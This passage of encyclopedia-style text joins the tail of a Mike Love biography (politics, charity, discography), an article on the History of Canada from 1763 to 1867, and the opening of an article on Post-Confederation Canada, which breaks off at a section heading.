In 2018, Love praised Donald Trump for his "support of music historically" and was present at the signing of the Music Modernization Act in October. After Trump's election, the Beach Boys were asked to perform in the festivities for Trump's inauguration, and Love initially responded positively, saying Trump had "been a friend for a long time. Does that mean I agree with everything he says? No. But... if we were asked [to play his inauguration], I'm sure that we would." Instead, during the evening of Trump's inauguration day, Love's Beach Boys performed at the Texas State Society's "Black Tie & Boots" Inaugural Ball.
In February 2020, Brian Wilson and Jardine's official social media pages encouraged fans to boycott the band's music on animal rights grounds, after it was announced that Love's Beach Boys would perform at a Safari Club International convention in Reno, Nevada. The concert proceeded despite online protests; Love issued a statement that his group has always supported "freedom of thought and expression as a fundamental tenet of our rights as Americans."
In October 2020, Love's Beach Boys agreed to play as the headliner at a high-dollar fundraiser for Trump's reelection campaign in Newport Beach. In a press release, Wilson and Jardine disavowed the use of the Beach Boys' name and music at the event, stating "we have absolutely nothing to do with the Trump benefit today in Newport Beach. Zero." Love again played at Mar-a-Lago's New Year's Eve celebration that year, alongside other acts.
Charity
Love has been a longtime supporter of environmental causes and was among speakers at the Earth Summit in Rio de Janeiro in 1992 and Earth Day 2000 in Washington, DC. He was instrumental in forming StarServe ("Students Taking Action and Responsibility to Serve"), which enlisted high-profile celebrities to inspire America's youth to help serve their communities. He also created the Love Foundation, which supports national environmental and educational initiatives. Love personally donated $100,000 to the American Red Cross to benefit the victims of Hurricane Katrina and helped the foundation raise an additional $250,000. He has served as a member of the board of directors of the Lake Tahoe School in Incline Village, Nevada, and was responsible for raising over $1 million to benefit the school.
In 2010, Love contributed to the Juvenile Diabetes Research Foundation's More Hope For The Holidays album with vocals on "Closing of the Year" as well as contributing his self-penned "Santa's Goin' To Kokomo". On the album he appears alongside Weezer, Brandi Carlile, and Creedence Clearwater Revisited. Proceeds benefit the Juvenile Diabetes Research Foundation. He performed a benefit concert for the foundation for the Children of the Californias which raised one million dollars to support the expansion of three new surgical suites. During the 50th Reunion Tour, Love, alongside the Beach Boys, partnered with Operation Smile to raise funds for those in need of cleft lip and palate repair surgeries. In May 2013, he was recognized for his decades of investment in education and national service by being awarded City Year's "Seven Generations Award".
Awards and honors
2014: Society of Singers Lifetime Achievement Award.
Discography
Studio albums
1981: Looking Back with Love
2017: Unleash the Love: Billboard Independent Albums – #37
2018: Reason for the Season: Billboard's Holiday Album Chart – #4 and Independent Albums Chart – #6
2019: 12 Sides of Summer
2023: Mike Love Not War
With Celebration
1978: Almost Summer: Music from the Original Motion Picture Score
1979: Celebration
1979: Disco Celebration
Other albums
1996: Catch a Wave (with Adrian Baker)
1998: Salute NASCAR (with Bruce Johnston, David Marks, and Adrian Baker)
2001: Summertime Cruisin (with Bruce Johnston and Adrian Baker)
Unreleased: First Love
Unreleased: Country Love
Singles
1967: "Gettin' Hungry" b/w "Devoted to You" (with Brian Wilson)
1978: "Almost Summer" b/w "Island Girl" (with Celebration) – #28 Billboard Hot 100
1978: "It's Ok" b/w "Lookin' Good" (with Celebration)
1979: "Starbaby" b/w "Getting Hungry" (with Celebration)
1981: "Looking Back with Love" b/w "One Good Reason"
1981: "Runnin' Around the World" b/w "One Good Reason"
1982: "Be My Baby" b/w "Teach Me Tonight"
1982: "Be True to Your Bud" b/w "Be True to Your Bud" (Instrumental) (Released as Mike & Dean) with Dean Torrence
1982: "Da Doo Ron Ron" b/w "Baby Talk" (Released as Mike & Dean) with Dean Torrence
1983: "Jingle Bell Rock" b/w "Let's Party" (released as Mike Love & Dean Torrence)
1983: "Jingle Bells" by Paul Revere & the Raiders b/w "Jingle Bell Rock" (released as Mike Love & Dean Torrence)
2006: "Santa's Goin' to Kokomo"
2007: "Hungry Heart"
2015: "(You'll Never Be) Alone on Christmas Day"
2017: "Do It Again" (with Mark McGrath & John Stamos)
2017: "Unleash the Love"
2017: "All the Love in Paris" (with Dave Koz)
2017: "Darlin'" (with AJR)
2018: "It's OK" (with Hanson)
2020: "This Too Shall Pass" (with John Stamos)
References
Bibliography
External links
Beach Boys Band – current touring band
Mike Love's website
Mike Love Fan Club
1941 births
Living people
20th-century American composers
20th-century American male musicians
20th-century American saxophonists
20th-century American singer-songwriters
21st-century American composers
21st-century American male musicians
21st-century American saxophonists
21st-century American singer-songwriters
American baritones
American male composers
American male saxophonists
American male singer-songwriters
American people of Swedish descent
American pop rock singers
American pop rock musicians
American rock saxophonists
American rock singers
American rock songwriters
Singers from Los Angeles
People from Baldwin Hills, Los Angeles
People from Hawthorne, California
Record producers from California
Singer-songwriters from California
Susan Miller Dorsey High School alumni
Tambourine players
The Beach Boys members
Transcendental Meditation exponents
Wilson family (The Beach Boys)
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History of Canada (1763–1867)
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Starting with the 1763 Treaty of Paris, New France, of which the colony of Canada was a part, formally became a part of the British Empire. The Royal Proclamation of 1763 enlarged the colony of Canada under the name of the Province of Quebec, which with the Constitutional Act 1791 became known as the Canadas. With the Act of Union 1840, Upper and Lower Canada were joined to become the United Province of Canada.
By the 1860s, interest developed in forming a new federation between the Canadas and the other British colonies of British North America, that led to Confederation in 1867. A number of other British colonies that are today part of Canada, such as Newfoundland and British Columbia, and large territories such as Rupert's Land, initially remained outside the newly formed federation.
New France under British rule
In North America, the Seven Years' War had seen Great Britain conquer the entirety of the French colony of Canada. The war officially ended with the signing of the Treaty of Paris on February 10, 1763. As part of the treaty, France formally renounced its claims to all its North American lands to Britain (of which the French colony of Canada was a part), except Louisiana (which had been instead ceded to Spain), and two islands off the shores of Newfoundland (Saint-Pierre and Miquelon).
St. Lawrence valley
With the addition of Canada to the British Empire, Britain gained control of a strip of territory along the St. Lawrence River with a population of at least 70,000 francophone Roman Catholics, which was expanded and renamed as the Province of Quebec under the Quebec Act of 1774. Although many British people (including the American colonies to the south) hoped the French Canadians would be assimilated this was not the case as distinct rules of governance for Quebec were set out in the Quebec Act such as allowing the French Canadians to retain their Catholic religion and their French system of civil law. The Quebec Act became one of the Intolerable Acts that infuriated the thirteen British colonies in what would become the United States of America.
Atlantic coast
The island colony of Newfoundland had been dominated by the British for a long time before the French finally abandoned any claims to the area. An anglophone society had already taken shape prior to 1763, although two islands were reserved for French fishermen.
In the rest of the Maritimes, the British had previously expelled many of the French colonists of Acadia in 1755 to Louisiana, creating the Cajun population, but this would not be repeated in 1763. The remaining indigenous Mi'kmaq and Wabanaki Confederacy had laid down arms and pledged loyalty to the British Crown. The British Conquest of Acadia (which included Nova Scotia peninsula, but not present-day New Brunswick) happened in 1710, and the British had already established settlements, including Halifax. The establishment of Halifax sparked Father Le Loutre's War, which, in turn, led to the British expelling the Acadians from the region during the French and Indian War. As they later captured Cape Breton Island and Prince Edward Island, the policy of expulsion was extended there as well. The few Acadians who managed to return to the area have created the contemporary Acadian society. Once the Acadians were expelled, other settlements were formed by New England Planters.
American Revolution
In 1775, American revolutionaries (Patriots) attempted to push their insurrection into northeastern Quebec. Support for the Patriot cause was mixed; the clergy and landowners were generally opposed to it, while English-speaking merchants and migrants from the Thirteen Colonies were generally supportive of it. The habitants were divided; in some areas (notably the region between Montreal and Saint-Jean), there was significant support, and militia companies were raised in support of the Patriots by James Livingston.
The Patriots laid siege to Fort Saint-Jean, capturing it and Montreal in November 1775. They then marched on Quebec City, where an attempt to take the city on December 31, 1775, failed. Following an ineffectual siege, the arrival of British troops in May 1776 sent the Patriots into retreat back toward Montreal. An attempt against British troops at Trois-Rivières failed, and the Patriots were driven from the province in June. Leaving with the rebel army were about 250 Québécois in two regiments: James Livingston's 1st Canadian Regiment, and Moses Hazen's 2nd Canadian Regiment.
Quebeckers living in the forts of the Great Lakes region also massively sided with the Patriots and were instrumental in the taking of the fort by the Patriots. Major Clément Gosselin, Pierre Ayotte, Antoine Paulin, Louis Gosselin, Germain Dionne, Pierre Douville, Edward Antill and Moses Hazen and 747 Quebec militiamen were all in Quebec when they joined the Patriots and defeated the British at Yorktown in 1781. In a key act leading up to the Siege of Yorktown, Louis-Philippe de Vaudreuil, the French-born nephew of French Canada's last French governor, the Marquis de Vaudreuil, assisted Bougainville and de Grasse in preventing the British Navy from resupplying or relieving Cornwallis' army in the Battle of the Chesapeake.
In Nova Scotia there was some agitation against British rule, largely instigated by Jonathan Eddy and John Allan, migrants from Massachusetts who had settled in the Chignecto Isthmus area near Fort Cumberland (formerly Fort Beauséjour). The only major event of their resistance was the Battle of Fort Cumberland, when Eddy and a combined force of Massachusetts Patriots, Acadians, and aboriginals besieged the fort in November 1776. The siege was broken and Eddy's forces were scattered when British reinforcements arrived. Eddy and Allan continued to make trouble on the frontier between what is now Maine and New Brunswick from a base in Machias for several years.
The Maritime provinces were also affected by privateering, and raids on settlements by privateers in violation of their letters of marque. In notable instances, Charlottetown, Prince Edward Island and Lunenburg, Nova Scotia were subjected to these raids.
In southwestern Quebec, the American forces had much better success there owing to the leadership of Virginia militia leader George Rogers Clark. In 1778, 200 men under Clark, supplied and supported mainly by Virginia, came down the Ohio River near Louisville, Kentucky, marched across southern Illinois, and then captured Kaskaskia without loss of life. From there, part of his men took Vincennes, but was soon lost to British Lieutenant Colonel Henry Hamilton, the commander at Fort Detroit. It was later retaken by Clark in the Siege of Fort Vincennes in February 1779. Roughly half of Clark's militia in the theatre were Canadien volunteers sympathetic to the American cause.
In the end, the British Empire was defeated in the Revolutionary War and formally ceded parts of southwestern Canada to the new United States as part of the Treaty of Paris. During and after the Revolution, approximately 70,000 or 15% United Empire Loyalists fled the United States, with the rest of the 85% choosing to stay in the new nation. Of these, roughly 50,000 Loyalists settled in the British North American colonies, which then consisted of Newfoundland, Nova Scotia, Quebec, and Prince Edward Island (created 1769). The Loyalists who settled in western Nova Scotia wanted political freedom from Halifax, so Britain split off the colony of New Brunswick in 1784. Quebec was also divided into Lower Canada and Upper Canada under the Constitutional Act of 1791, permitting the 8,000 Loyalists who settled in southwestern Quebec (which became Upper Canada) to have a province in which British laws and institutions could be established.
A number of Loyalists that came north after the American Revolution were of African descent including former slaves who had been freed as a result of service to the British and over 2,000 African slaves. In 1793 Upper Canada became the first British jurisdiction to enact legislation to suppress slavery, with the Act Against Slavery being passed allowing for its gradual abolition.
Post American War of Independence
After the war the British expanded their mercantile interests in the North Pacific. Spain and Britain had become rivals in the area which came to a head with the Nootka Crisis in 1789. Both sides mobilised for war, and Spain counted on France for support; when France refused, Spain had to back down and capitulated to British terms leading to the Nootka Convention. The outcome of the crisis was a humiliation for Spain and a triumph for Britain, for the former had practically renounced all sovereignty on the North Pacific coast. This opened the way to British expansion in that area, and a number of expeditions took place; firstly a naval expedition led by George Vancouver which explored the inlets around the Pacific North West, particularly around Vancouver Island. On land, expeditions took place hoping for a discovery of a practicable river route to the Pacific for the extension of the North American fur trade, namely the North West Company. Sir Alexander Mackenzie led the first starting out in 1792 overland from Lake Athabasca via the Peace and Fraser Rivers, reaching the Pacific ocean near present-day Bella Coola on 20 July 1793. Mackenzie became the first European to reach the Pacific overland north of the Rio Grande which preceded the Lewis and Clark Expedition by twelve years. Shortly thereafter, Mackenzie's companion, John Finlay, founded the first permanent European settlement in British Columbia, Fort St. John. The North West Company sought further explorations firstly by David Thompson, starting in 1797, and later by Simon Fraser. These men pushed into the wilderness territories of the Rocky Mountains and Interior Plateau and all the way to the Strait of Georgia on the Pacific Coast expanding British North America Westward.
From 1783 through 1801, the British Empire, including British North America (but not India, which was under the East India Company, and later the India Office), was administered by the Home Office and by the Home Secretary, then from 1801 to 1854 by the War Office (which became the War and Colonial Office) and Secretary of State for War and Colonies (as the Secretary of State for War was renamed). From 1824, the British Empire was divided by the War and Colonial Office into four administrative departments, including North America, the West Indies, Mediterranean and Africa, and Eastern Colonies, of which North America included:
North America
Upper Canada, Lower Canada
New Brunswick, Nova Scotia, Prince Edward Island
Bermuda, Newfoundland
The Colonial Office and War Office, and the Secretary of State for the Colonies and the Secretary of State for War, were separated in 1854, dividing the civil and military administration of the British Empire. The War Office, after 1854 and until the 1867 confederation of the Dominion of Canada, split the military administration of the British colonial and foreign stations into nine districts: North America and North Atlantic; West Indies; Mediterranean; West Coast of Africa and South Atlantic; South Africa; Egypt and The Sudan; Indian Ocean; Australasia; and China. North America and North Atlantic included the following stations (or garrisons):
North America and North Atlantic
New Westminster (British Columbia)
Newfoundland
Quebec
Halifax
Kingston, Canada West
Bermuda
The Atlantic archipelago of Bermuda (originally administered by the Virginia Company and, with The Bahamas, considered with North America prior to 1783), was grouped with the Maritime provinces from 1783 until formation of the Dominion of Canada in 1867, and thereafter generally with the colonies in the British West Indies (although the Church of England continued to place Bermuda under the Bishop of Newfoundland until 1919).
Following the war, the Royal Navy spent a dozen years charting the barrier reef around Bermuda to discover the channel that enabled access to the northern lagoon, the Great Sound, and Hamilton Harbour. Once this had been located, a base was established (initially at St. George's before the construction of the Royal Naval Dockyard, Bermuda) in 1794, when Vice Admiral Sir George Murray, Commander-in-Chief of the new River St. Lawrence and Coast of America and North America and West Indies Station, set up the first Admiralty House, Bermuda at Rose Hill, St. George's. In 1813, the area of command became the North America Station again, with the West Indies falling under the Jamaica Station, and in 1816 it was renamed the North America and Lakes of Canada Station. The headquarters was initially in Bermuda during the winter and Halifax during the summer, but Bermuda, became the year-round headquarters of the Station in 1821, when the area of command became the North America and West Indies Station. The Royal Naval Dockyard, Halifax was finally transferred to the Royal Canadian Navy in 1907. Bermuda and Halifax, Nova Scotia, along with Gibraltar and Malta would be designated Imperial fortresses.
A British Army garrison was re-established at Bermuda in 1794 (a small regular infantry garrison had existed from 1701 to 1768, alongside the militia, and part of the Royal Garrison Battalion had been stationed there in 1778 but the battalion was disbanded there in 1784) and was expanded greatly during the 19th Century, both to defend the colony as a naval base and to launch amphibious operations against the Atlantic coast of the United States in any war that should transpire. Prior to 1784, the Bermuda Garrison had been placed under the military Commander-in-Chief America in New York during the American War of Independence, but was to become part of the Nova Scotia Command until the 1860s (in 1815, Lieutenant-General Sir George Prevost was Captain-General and Governor-in-Chief in and over the Provinces of Upper-Canada, Lower-Canada, Nova-Scotia, and New-Brunswick, and their several Dependencies, Vice-Admiral of the same, Lieutenant-General and Commander of all His Majesty’s Forces in the said Provinces of Lower Canada and Upper-Canada, Nova-Scotia and New-Brunswick, and their several Dependencies, and in the islands of Newfoundland, Prince Edward, Cape Breton and the Bermudas, &c. &c. &c. Beneath Prevost, the staff of the British Army in the Provinces of Nova-Scotia, New-Brunswick, and their Dependencies, including the Islands of Newfoundland, Cape Breton, Prince Edward and Bermuda were under the Command of Lieutenant-General Sir John Coape Sherbrooke. Below Sherbrooke, the Bermuda Garrison was under the immediate control of the Lieutenant-Governor of Bermuda, Major-General George Horsford). The Royal Navy, British Army, Royal Marines, and Colonial Marines forces based in Bermuda carried out actions of this sort during the American War of 1812 (most notably the Burning of Washington in retribution for the "wanton destruction of private property along the north shores of Lake Erie" by American forces under Col. John Campbell in May 1814, the most notable being the Raid on Port Dover) to draw United States forces away from the Canadian border. In 1828, His Excellency George, Earl of Dalhousie, (Baron Dalhousie, of Dalhousie Castle,) Knight Grand Cross of the Most Honourable Military Order of the Bath was Captain General and Governor in Chief in and over the Provinces of Lower-Canada, Upper-Canada, Nova-Scotia, and New-Brunswick, and their several dependencies, Vice-Admiral of the same, Lieutenant-General and Commander of all His Majesty’s Forces in the said Provinces, and their several dependencies, and in the Islands of Newfoundland, Prince Edward, and Bermuda, &c. &c c. &c. Beneath Dalhousie, the Provinces of Nova-Scotia, New-Brunswick, and their Dependencies, including the Island of Newfoundland, Cape Breton, Prince Edward and Bermuda were under the Command of His Excellency Lieutenant-General Sir James Kempt GCB, GCH.
The established Church of England in Bermuda (since 1978, titled the Anglican Church of Bermuda) and Newfoundland was attached to the See of Nova Scotia from 1825 to 1839 and from 1787 to 1839, respectively. From 1839, the island of Newfoundland and the coast of Labrador, as well as Bermuda, became parts of the Diocese of Newfoundland and Bermuda, with the shared Bishop (Aubrey George Spencer being the first) alternating his residence between the two colonies. A separate Bermuda Synod was incorporated in 1879, but continued to share its Bishop with Newfoundland until 1919, when the separate position of Bishop of Bermuda was created (in 1949, on Newfoundland becoming a province of Canada, the Diocese of Newfoundland became part of the Anglican Church of Canada; the Church of England in Bermuda, which was re-titled the Anglican Church of Bermuda in 1978, is today one of six extra-provincial Anglican churches within the Church of England overseen by the Archbishop of Canterbury).
War of 1812
In the War of 1812, the Canadas were once again a battleground, this time between the British and the relatively young United States. During the war, unsuccessful attempts were made by the Americans to invade Upper Canada, after overestimating the amount of support they would receive from Canadian colonists. Much of the settler population of Upper Canada (now southern Ontario) were Americans who had very recently arrived in the colony, and some of them did support the invading force; however, the rest of the settler population was made up of the descendants of Loyalists or the original French colonists, who did not want to be part of the United States. The first American invasion came in October 1812, but they were defeated by General Isaac Brock at the Battle of Queenston Heights. The Americans invaded again in 1813, capturing Fort York (now Toronto). Later in the year, the Americans took control of the Great Lakes after the Battle of Lake Erie and the Battle of the Thames, but they had much less success in Lower Canada, where they were defeated at the Battle of Châteauguay and the Battle of Crysler's Farm. The Americans were driven out of Upper Canada in 1814 after the Battle of Lundy's Lane, although they still controlled the Great Lakes and defeated the British at the Battle of Lake Champlain. In English Canada, it is seen as a victory against American invasions, with heroic legends surrounding many of the participants (such as Isaac Brock and Laura Secord) and battles (especially those in the Niagara Peninsula).
Fur trade
For centuries one of the most important economic ventures in North America was the fur trade. This trade, which had been pioneered by the French, came to be dominated by the British as they gained increasing territory on the continent. The main British fur trading posts were located inside of what became the United States (the British were forced to relocate northward as borders were established with the new nation). First Nations were central to the trade as they were the primary fur trappers. The role gave the peoples of many of the First Nations a political voice as, though they were viewed as an underclass, they were too important to simply be ignored. The American Revolution led to intense competition between the British and the U.S. By the 1830s changing fashions in Europe had begun a steep decline in fur prices and an overall collapse in the market. Apart from the economic losses to whites involved in the fur trade, many of the First Nations were devastated, both in terms of economic loss and in terms of loss of influence in local politics.
Timber trade
As the fur trade declined in importance, the timber trade became Canada's most important commodity. The industry became concentrated in three main regions. The first to be exploited was the Saint John River system. Trees in the still almost deserted hinterland of New Brunswick were cut and transported to Saint John where they were shipped to England. This area soon could not keep up with demand, and the trade moved to the St. Lawrence River where logs were shipped to Quebec City before being sent on to Europe. This area also became insufficient, and the trade expanded westward, most notably to the Ottawa River system, which by 1845 provided three quarters of the timber shipped from Quebec City. The timber trade became a massive business. In one summer 1200 ships were loaded with timber at Quebec City alone.
"Responsible government" and the Rebellions of 1837–38
After the War of 1812, the first half of the 19th century saw the growth of political reform movements in both Upper and Lower Canada, largely influenced by American and French republicanism. The colonial legislatures set out by the Constitutional Act had become dominated by wealthy elites, the Family Compact in Upper Canada and the Château Clique in Lower Canada. The moderate reformers, such as Robert Baldwin and Louis-Hippolyte Lafontaine, argued for a more representational form of government which they called "responsible government".
By "responsible," the reformers meant that such a government would be ultimately responsible to the will of the subjects of the colonies, not to authorities in London. The critical move toward responsible government came between 1846 and 1850. In practice, it meant that the Executive Council of each colony formulated policy with the assistance of the legislative branch. The legislature voted approval or disapproval, and the appointed governor enacted those policies that it had approved. It was a transition from the older system when the governor took advice from an executive council, and use the legislature chiefly to raise money. The radical reformers, such as William Lyon Mackenzie and Louis-Joseph Papineau demanded equality or a complete break from British rule and the establishment of a republic.
Louis-Joseph Papineau was elected speaker of the colonial assembly in 1815. His attempts at reform were ignored by the British, and in 1834, the assembly passed The Ninety-Two Resolutions, outlining its grievances against the legislative council. Papineau organized boycotts and civil disobedience. The colonial government illegally ordered the arrest of Papineau. The Patriotes resorted to armed resistance and planned the Lower Canada Rebellion in the fall of 1837. British troops in the colony quickly put down the rebellion and forced Papineau to flee to the United States. A second rebellion by the Frères chasseurs of Robert Nelson broke out one year later, but the British put it down as well, with much loss of life and destruction of property.
William Lyon Mackenzie, a Scottish immigrant and reformist mayor of York (Toronto), organized the Upper Canada Rebellion in December 1837 after the Patriotes rebellion had begun. Upper Canadians had similar grievances; they were annoyed at the undemocratic governance of the colony, and especially by the corrupt and inefficient Bank of Upper Canada and the Canada Company. On December 4, the rebels assembled near Montgomery's Tavern, where the British troops stationed in the city met them on December 7. The rebels were hopelessly outnumbered and outgunned and were defeated in less than an hour. Mackenzie escaped to the United States.
Also in December, a group of Irish immigrants attempted to seize southwestern Ontario by force in the Patriot War. They were defeated by government troops at Windsor.
Lord Durham's report
Lord Durham was appointed Governor General of Canada in 1838. He was assigned to investigate the causes of the Rebellions, and concluded that the problem was essentially animosity between the British and French inhabitants of Canada. His Report on the Affairs of British North America contains the famous description of "two nations warring in the bosom of a single state." For Durham, the French Canadians were culturally backwards, and he was convinced that only a union of French and English Canada would allow the colony to progress in the interest of Great Britain. A political union would, he hoped, cause the French-speakers to be assimilated by English-speaking settlements, solving the problem of French Canadian nationalism once and for all.
Act of Union (1840)
Lord Durham was succeeded by Lord Sydenham who was responsible for implementing Durham's recommendations in the Act of Union 1840 passed on July 23, 1840, by the Parliament of the United Kingdom and proclaimed February 10, 1841. Upper and Lower Canada became, respectively, Canada West and Canada East, both with 42 seats in the Legislative Assembly of the Province of Canada despite Lower Canada being more populated. The official language of the province became English and French was explicitly banned in the Parliament and in the courts.
The moderate reformers Louis-Hippolyte Lafontaine and Robert Baldwin fought two successive governors general Sir Charles Bagot and Sir Charles Metcalfe to secure what became known as responsible government. Metcalfe fought to preserve the prerogatives of the Crown and the governor's control over the administration and patronage. He nonetheless had to make some concessions to win support, and the most notable of these was persuading the Colonial Office to grant amnesty to the rebels of 1837–38, and to abandon forced anglicization of the French-speaking population. Lafontaine and Baldwin reintroduced French as an official language alongside English in the Assembly, the Courts and other governmental bodies. Under the progressive Governor General James Bruce (Lord Elgin), a bill was passed to allow the leaders of former Patriote movement to return to their homeland; Papineau returned and for a short time re-entered Canadian politics. A similar bill was passed for the former Upper Canadian rebels. Elgin also implemented the practice of responsible government in 1848, several months after it had already been granted to the colony of Nova Scotia.
The parliament of United Canada in Montreal was set on fire by a mob of Tories in 1849 after the passing of an indemnity bill for the people who suffered losses during the rebellions of Lower Canada.
One noted achievement of the Union was the Canadian–American Reciprocity Treaty of 1855 which sanctioned free trade in resources. However, the achievement must be seen in the wider politics of British North America which had seen the major boundary disputes with the United States settled (see Rush–Bagot Treaty, Treaty of 1818, Webster–Ashburton Treaty, Oregon Treaty), thus easing tensions which for most of the first half of the 19th century had Americans threatening war or retaliation.
The Union Act of 1840 was ultimately unsuccessful, and led to calls for a greater political union in the 1850s and 1860s. Support for independence was strengthened by events such as the Battle of Ridgeway, an 1866 invasion into Ontario by some 1500 Irish nationalists which was repulsed largely by local militia.
British colonies on the northwest coast
Although Spain had taken the lead in the exploration of the northwest Pacific Coast, with the voyages of Juan José Pérez Hernández in 1774 and 1775, by the time the Spanish determined to build a fort on Vancouver Island, the British navigator James Cook had himself visited Nootka Sound and charted the coast as far as Alaska, while British and American traders had begun settling on the coast so as to develop resources for trade with Europe and Asia. In 1793, Alexander Mackenzie a Scotsman working for the North West Company crossed the continent and with his aboriginal guides, French-Canadian voyageurs and another Scot, reached the mouth of the Bella Coola River, completing the first continental crossing of North America north of Mexico, missing George Vancouver's charting expedition to the region by only a few weeks. The competing imperial claims between Russia, Spain and Britain were compounded by treaties between the former two powers and the United States, which pressed for the annexation of most of what is now British Columbia, not recognizing the title of the many First Nations present.
With the signing of the Oregon Treaty in 1846, the United States agreed to establish its northern border with western British North America along the 49th parallel. By 1857, Americans and British were beginning to respond to rumours of gold in the Fraser River area. Almost overnight, some ten to twenty thousand men moved into the region around present-day Yale, British Columbia, sparking the Fraser Canyon Gold Rush. Governor James Douglas was suddenly faced with having to exert British authority over a largely alien population. In order to normalize its jurisdiction, and undercut any Hudsons's Bay Company claims to the resource wealth of the mainland, the Crown colony of British Columbia was established August 2, 1858. Douglas signed a few treaties with the First Nations on Vancouver Island, but did not otherwise recognize the First Nations of the colony. In 1866, it was united with the Colony of Vancouver Island into the United Colonies of Vancouver Island and British Columbia.
By the mid-1850s, politicians in the Province of Canada began to contemplate western expansion. They questioned the Hudson's Bay Company's tenure of Rupert's Land and the Arctic territories, and launched a series of exploring expeditions to familiarize themselves and the settler population with the geography and climate of the region.
Trade with the United States
In 1854, the Governor General of British North America, Lord Elgin, signed a significant trade agreement with the United States on behalf of the colonies. This agreement endured for ten years until the American government abrogated it in 1865.
Confederation
Effective governance of the United Province of Canada after 1840 required a careful balancing of the interests of French and English- speaking populations; and between Catholics and Protestants. John A. Macdonald emerged in the 1850s as a personality who could manage that task. A political conservative, MacDonald forged political relationships and coalitions with George-Étienne Cartier, the leader of powerful French Canadian bleus, and George Brown of the more stridently reformist English-Canadian and anti-French "Grits". MacDonald came to realize that Canada's likeliest hope of resisting absorption into the United States was to reform itself into a workable federation. A delegation from the Canadas made its way to a conference being held in Charlottetown in 1864 by representatives from the Maritimes who had intended to hold discussions regarding a federation of Nova Scotia, New Brunswick and Prince Edward Island. This conference was followed by a subsequent conference in Quebec City. The Seventy-Two Resolutions from the 1864 Quebec Conference laid out the framework for uniting British colonies in North America into a federation. They were adopted by the majority of the provinces of Canada and became the basis for the London Conference of 1866, which led to the formation of the Dominion of Canada on July 1, 1867. Federation emerged from multiple impulses: the British wanted Canada to defend itself; the Maritimes needed railroad connections, which were promised in 1867; British-Canadian nationalism sought to unite the lands into one country, dominated by the English language and British culture; many French-Canadians saw an opportunity to exert political control within a new largely French-speaking Quebec. Finally, but by no means least significant, were fears of possible U.S. expansion northward in the wake of the end of the United States Civil War. On a political level, there was a desire for the expansion of responsible government and elimination of the legislative deadlock between Upper and Lower Canada, and their replacement with provincial legislatures in a federation. This was especially pushed by the liberal Reform movement of Upper Canada and the French-Canadian rouges in Lower Canada who favoured a decentralized union in comparison to the Upper Canadian Conservative party and to some degree the French-Canadian bleus which favoured a centralized union. Even Queen Victoria was supportive, noting "...the impossibility of our being able to hold Canada, but we must struggle for it; and by far the best solution would be to let it go as an independent kingdom under an English prince." In the end Canada went as a Dominion under the Crown of the United Kingdom itself. It was a fresh start, but not one that was greeted with universal joy. While some envisaged Confederation for the British North American colonies as a way forward together, La Minerve, a newspaper in the new Province of Quebec endorsed the federation because it provided "la seule voie qui nous soit offerte pour arriver à l'indépendance politique." ("the only way offered to us to achieve political independence"). A change of heart toward Confederation was evident in Halifax, Nova Scotia, where the Morning Chronicle newspaper announced on the front page of its July 1, 1867, edition the death of "the free and enlightened Province of Nova Scotia".
See also
Heritage Minutes
History of Canada
Former colonies and territories in Canada
References
Sources
Further reading
Craig, Gerald M Upper Canada: the formative years 1784-1841 McClelland and Stewart, 1963, the standard history online
Creighton, Donald. John A. Macdonald (2 vols, Toronto, 1952–55), vol 1: The Young Politician) influential scholarly biography
Morton, W. L. The Critical Years: The Union of British North America 1857–1873 (Toronto, 1964) online
Sweeny, Alastair. George-Étienne Cartier: A Biography (Toronto, 1976) Web Version ()
; Guide to historiography
Wrong, George M. Canada and the American Revolution: The Disruption of the First British Empire'' (1935)
Primary sources
; 707pp
External links
The Quebec Gazette – first periodical in Canada – since 1764
History of Canada by period
British colonization of the Americas
British Empire
British Rule
Canadian Confederation
18th century in Canada
19th century in Canada
18th century in the British Empire
19th century in the British Empire
1760s in Canada
1860s in Canada
Former colonies in North America
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Post-Confederation Canada (1867–1914)
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Post-Confederation Canada (1867–1914) is history of Canada from the formation of the Dominion to the outbreak of World War I in 1914. Canada had a population of 3.5 million, residing in the large expanse from Cape Breton to just beyond the Great Lakes, usually within a hundred miles or so of the Canada–United States border. One in three Canadians was French, and about 100,000 were aboriginal (First Nation, Inuit, Métis). It was a rural country composed of small farms. With a population of 115,000, Montreal was the largest city, followed by Toronto and Quebec at about 60,000. Pigs roamed the muddy streets of Ottawa, the small new national capital.
Besides subsistence agriculture, the economy was based on exports of lumber, fish and grain, and the import of investment capital from London and New York. Factories were small, except for those making farm implements. Overall the economy prospered in the first years of Confederation, but a world-wide depression 1873–1896 severely hurt the export economy, reduced the inflow of foreign capital, and reduced the flow of immigration. Economic growth of total GNP (in constant dollars) averaged only 2.4 percent per year, 1870 to 1896, then surged to 6.2 percent, 1897–1913. Part of that increase was due to population growth. The rate of growth of GNP per capita was 1.3% , 1870 to 1896, then surged to 2.6 percent, 1897–1913. The growth rate was respectable, but lower than that of the United States, and fuelled a sense of disappointment that Confederation had not delivered on its promise of prosperity.
Politically, the Father of Confederation, John A. Macdonald (1815–1891) and his Conservative Party ("Tories") dominated national politics until his death (with one interruption). The Liberals ("Grits") under Wilfrid Laurier (1841–1919) were in power 1896 to 1911, and then were ousted in a campaign based on anti-Americanism by Robert Borden.
Francophones had a distinct and traditionalistic culture, led by the landholders and the priests. The Anglophones took pride in their monarchism and in their refusal to be swallowed up by the United States. Baseball and lacrosse were favourite sports. Cultural facilities were limited. There were only two public libraries in the entire new country; half the adults in Quebec could not read. Hard drinking in all ranks was the norm; in fact, the new prime minister, John A. Macdonald, was sometimes drunk in public. Politically, the new nation was defined by its practicality, realism, and stoicism; it had little interest in theory or esthetics. Much more important was loyalty to family, church, political party, and Queen Victoria. Historians later emphasized the iconic phrase "Peace, Order and Good Government" ("paix, ordre et bon gouvernement") as founding constitutional principles, but at the time it was rarely quoted.
On the eve of the great war in 1914, the national population had reached 8.1 million. Most of the growth had taken place in the new western provinces, Manitoba, Saskatchewan, Alberta, and British Columbia, while immigration from abroad reached 400,000 annually. The great national achievement was the building of transcontinental railways that opened the prairies to settlement. The rich new farmlands, combined with technological advances enabling wheat farming at higher latitudes and increased investment from Great Britain, made Canada a major exporter of wheat. Issues of anti-imperialist nationalism versus imperial nationalism and loyalty to the Crown continued. So too did increasingly bitter disputes on language issues, especially the role of the French language outside Québec. Ethno-religious tensions flared between the French Canadians and the English Canadians, between the Catholic Irish ("greens") and the Protestant Irish ("Orange"), and between the Europeans and the Asians on the West Coast.
Confederation
